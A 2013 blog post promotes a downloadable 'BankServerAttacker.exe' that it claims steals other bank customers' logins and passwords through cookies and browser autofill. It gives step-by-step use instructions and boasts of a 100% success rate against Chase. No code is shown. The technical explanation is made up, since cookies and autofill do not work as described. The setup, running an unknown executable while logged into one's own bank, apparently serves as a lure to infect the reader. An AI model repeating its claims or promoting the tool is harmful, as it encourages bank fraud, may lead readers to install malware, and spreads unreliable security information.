Thursday 8 August 2013

Never Underestimate the Power of Cookies!!!!!!!!!!



Level : Slightly Moderate

Requirement : 

--> Basic concept of Cookies 

--> Must having Two browsers in yours PC/Laptop

-->Fast Net Speed recommended

Modus Operandi :

This tool , when executed , ready for live attack on bank server database , when it finds cookies with live session , penetrate in server database , and show user logon id & password in Autofill boxes on second browser of your pc ...

Confuse ??????

Now Read carefuly & try to understand concept ,

No need of  DDos Knowledge if you have clear concepts of Cookies & browsers functionality..

Concept :

When you open any website , a site puts some code , which passed through yours browser , and stored in yours pc , which is called cookies 

Auto fill Form : Its a form , in which no need to enter details , because of stored previous filled data ..

This is the logic of the tool , which i found completely different and amazing ....

This tool not work for below countries banks :

Pakistan
India
Iran
Sudan
Africa
Italy

Best working Output found from Below Countries Majority Banks :



USA
UK
Canada
Australia
France
UAE
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  

Note : This Tool has 85-90% Success ratio till date....

100% success ratio found in chase bank server
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx



Refer this image , for better and clear understanding of the concept : 









Download Tool : BankServerAttacker.exe



Link  :
BankServerAttacker.rar







What to do after download :

Steps to do : 

1) Execute the tool in yours pc .
2) Open yours banking website , and enter in your online banking account --(For this Chrome Browser recommended )   
3) Now open a same bank website login page in another browser--(any browser you have installed)
4) Just type any alphabet at user id column , for e.g "a" , 

And , that's it !!!!!!!!!!boooooom....................

a user with user id "a" , list shown , and when you select any one of them , his/her password automatically filled out , and finally you have soooooooooo many accounts ........!!!!!!!

What this means  ?? What you actually done ???

Here is the magic of logic of this tool ,

What happend ?????????How it Happened ??????????

When you open your bank account in one browser , for e.g from chrome ...Yours bank website send a code to your pc , means cookies ..

This cookies has live session details , means , with this cookies , yours pc is connected to direct bank server , Understood ???

Ok , then  , when you open the same bank website login page with other browser , this amazing tool with live cookies penetrate in bank server and get database user login details for you , which stores in yours second browser login page !!!!!!!  

Thats it !!!!!!!!

Note : Hacking for destructive purpose is a criminal act, i am not responsible , if anyone use it illegally....